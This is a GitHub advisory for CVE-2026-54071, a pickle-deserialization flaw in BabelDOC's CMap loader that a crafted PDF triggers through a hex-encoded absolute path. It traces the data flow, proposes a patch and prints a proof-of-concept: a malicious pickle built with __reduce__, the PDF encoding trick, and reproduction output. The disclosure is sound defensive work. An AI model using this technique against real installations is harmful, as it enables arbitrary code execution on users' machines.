GitHub Advisoryadvisory · PyPI

GHSA-m8gf-v64p-gfmg BabelDOC: Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py

HIGH Published 2026-07-10 Modified 2026-07-10 Official page ↗
Aliases
CVE-2026-54071
Ecosystem
PyPI
Packages
BabelDOC
Severity
High
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weaknesses
CWE-502
Reviewed
2026-07-10

Affected packages

• PyPI BabelDOC: < 0.6.3 → fixed in 0.6.3

Description

Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py Summary BabelDOC's vendored PDF parser (`babeldoc/pdfminer/cmapdb.py`) deserializes untrusted pickle data when loading CMap files. The `_load_data()` method strips only NUL bytes from a PDF-controlled CMap name, then passes it directly to `os.path.join()` and `pickle.loads()`. Because Python's `os.path.join()` discards all preceding path components when it encounters an absolute path segment, an attacker who embeds a hex-encoded absolute path in a crafted PDF's `/Encoding` name (e.g., `/#2Ftmp#2Fattacker#2Fevil`) can redirect deserialization to any attacker-writable `.pickle.gz` file on the local system. Processing such a PDF results in arbitrary Python code execution with the privileges of the BabelDOC process. Details The vulnerable function is `CMapDB._load_data()` at `babeldoc/pdfminer/cmapdb.py:232–245`: ```python @classmethod def _load_data(cls, name: str) -> Any: name = name.replace("\0", "") # line 233 — only NUL is stripped filename = "%s.pickle.gz" % name # line 234 — attacker-controlled string ... for directory in cmap_paths: path = os.path.join(directory, filename) # line 241 — no realpath/canonical check if os.path.exists(path): gzfile = gzip.open(path) try: return type(str(name), (), pickle.loads(gzfile.read())) # line 245 — unconditional pickle ``` Path injection via PDF name hex-encoding. The PDF specification allows name objects to encode arbitrary bytes as `#xx`. The pdfminer literal-name parser (`psparser._parse_literal_hex`) decodes these sequences before handing the string to higher layers. Consequently, the PDF literal `/#2Ftmp#2Fattacker#2Fevil` is decoded to the Python string `/tmp/attacker/evil`. Python `os.path.join()` absolute-path override. When the decoded name starts with `/` (i.e., it is an absolute path), Python's `os.path.join(directory, name + ".pickle.gz")` ignores `directory` entirely and returns the absolute path unchanged. The trusted `cmap_paths` directories (`/usr/share/pdfminer/`, the package's own `cmap/` folder) are therefore completely bypassed. Data flow from PDF to sink: 1. `babeldoc/main.py:611–622` — CLI accepts a PDF path; only existence and `.pdf` suffix are checked. 2. `babeldoc/main.py:678–679` — path stored in `TranslationConfig(input_file=file)`. 3. `babeldoc/format/pdf/high_level.py:472–488` — `translation_config.input_file` enters the translate pipeline. 4. `babeldoc/format/pdf/high_level.py:805–848` — PDF saved to `temp_pdf_path` and parsed with `parse_prepared_pdf_with_new_parser_to_legacy_ir`. 5. `babeldoc/format/pdf/new_parser/native_parse.py:60–70` — prepared pages loaded and interpreted. 6. `babeldoc/format/pdf/new_parser/pymupdf_prepared_page_access.py:25–34` — PyMuPDF opens the PDF and builds page resources. 7. `babeldoc/format/pdf/new_parser/prepared_resource_builder.py:84–94` — font resources converted to `PreparedFontSpec`. 8. `babeldoc/format/pdf/new_parser/active_font_resource_runtime.py:21–35` — page resource bundle resolves root font map. 9. `babeldoc/format/pdf/new_parser/active_font_runtime.py:79–87` — each font spec projected and passed to `font_factory.create_font`. 10. `babeldoc/format/pdf/new_parser/active_direct_font_backend.py:291–292, 491–493` — CID fonts call `build_cid_cmap(spec, literal_name=literal_name)`. 11. `babeldoc/format/pdf/new_parser/runtime/cid_cmap_runtime.py:52–77` — PDF-controlled `/Encoding`/`CMapName` normalized and passed to `CMapDB.get_cmap`. `_normalize_cmap_name()` removes only a single leading `/`; all other path characters pass through. 12. `babeldoc/pdfminer/cmapdb.py:233–245` — sink: NUL-stripped name used verbatim to construct the path; file opened with gzip and deserialized with `pickle.loads()`. Sanitization gaps: • `name.replace("\0", "")` removes only the NUL byte; `..`, `/`, `\`, and hex-decoded path separators are unaffected. • There is no `os.path.realpath()`, `os.path.abspath()`, or `os.path.commonpath()` containment check before the file is opened. • There is no allowlist of known CMap names nor any integrity verification of the pickle data. Recommended patch (`babeldoc/pdfminer/cmapdb.py`): ```diff --- a/babeldoc/pdfminer/cmapdb.py +++ b/babeldoc/pdfminer/cmapdb.py @@ cmap_paths = ( os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"), os.path.join(os.path.dirname(__file__), "cmap"), ) for directory in cmap_paths: • path = os.path.join(directory, filename) + base_dir = os.path.realpath(directory) + path = os.path.realpath(os.path.join(base_dir, filename)) + try: + if os.path.commonpath([base_dir, path]) != base_dir: + continue + except ValueError: + continue if os.path.exists(path): gzfile = gzip.open(path) ``` A more complete fix replaces the pickle-backed CMap loader with a signed or static data format (e.g., JSON or generated Python modules) that does not carry executable code. PoC Environment setup (Docker — recommended for isolation): ```bash From the repository root docker build -t vuln-001-babeldoc-cmap -f vuln-001/Dockerfile . docker run --rm vuln-001-babeldoc-cmap ``` Manual setup (local venv): ```bash python3 -m venv /tmp/babeldoc-poc-venv source /tmp/babeldoc-poc-venv/bin/activate pip install freetype-py==2.5.1 charset-normalizer cryptography export PYTHONPATH=/path/to/BabelDOC python3 poc.py ``` PoC script (`poc.py`) — key steps: ```python import gzip, pathlib, pickle, sys CMAP_STAGING_DIR = pathlib.Path("/tmp/babeldoc-cmap-poc") MALICIOUS_PICKLE = CMAP_STAGING_DIR / "malicious.pickle.gz" MALICIOUS_PDF = CMAP_STAGING_DIR / "malicious.pdf" PROOF_FILE = pathlib.Path("/tmp/babeldoc_cmap_rce_proof.txt") Step 1 — write the malicious pickle to a world-writable location class MaliciousPayload: def __reduce__(self): return (pathlib.Path(str(PROOF_FILE)).write_text, ("RCE_CONFIRMED: pickle.loads executed attacker payload",)) CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True) with gzip.open(MALICIOUS_PICKLE, "wb") as fh: pickle.dump(MaliciousPayload(), fh) Step 2 — craft a PDF whose /Encoding name hex-encodes the absolute path "/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" decodes to "/tmp/babeldoc-cmap-poc/malicious" encoding_name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" ... (minimal PDF structure with a Type0 CID font referencing encoding_name) ... Full source in poc.py Step 3 — trigger via the pdfminer high-level API from babeldoc.pdfminer.high_level import extract_text try: extract_text(str(MALICIOUS_PDF)) except TypeError: pass # expected: type(name, (), ) fails after write_text returns int Step 4 — verify assert PROOF_FILE.exists(), "FAIL: proof file not created" print(PROOF_FILE.read_text()) # => "RCE_CONFIRMED: pickle.loads executed attacker payload" ``` Phase 2 dynamic reproduction output (Docker container): ``` [+] Malicious pickle written: /tmp/babeldoc-cmap-poc/malicious.pickle.gz [+] Malicious PDF written: /tmp/babeldoc-cmap-poc/malicious.pdf [*] Calling extract_text(/tmp/babeldoc-cmap-poc/malicious.pdf) ... [*] extract_text raised TypeError: type.__new__() argument 3 must be dict, not int [*] This exception is expected; the payload ran before it. ============================================================ RESULT: PASS Proof file: /tmp/babeldoc_cmap_rce_proof.txt Content: 'RCE_CONFIRMED: pickle.loads executed attacker payload' ============================================================ ``` The `TypeError` is benign and expected: `write_text()` returns an integer, and the subsequent `type(name, (), )` call in `_load_data()` raises before reaching further code. The payload already executed successfully at that point. **Attack p…

Related

Alias · CVE (1)

  • CVE-2026-54071 BabelDOC is a document translation tool. vulnerability

Weakness · CWE (1)

  • CWE-502 Deserialization of Untrusted Data weakness

References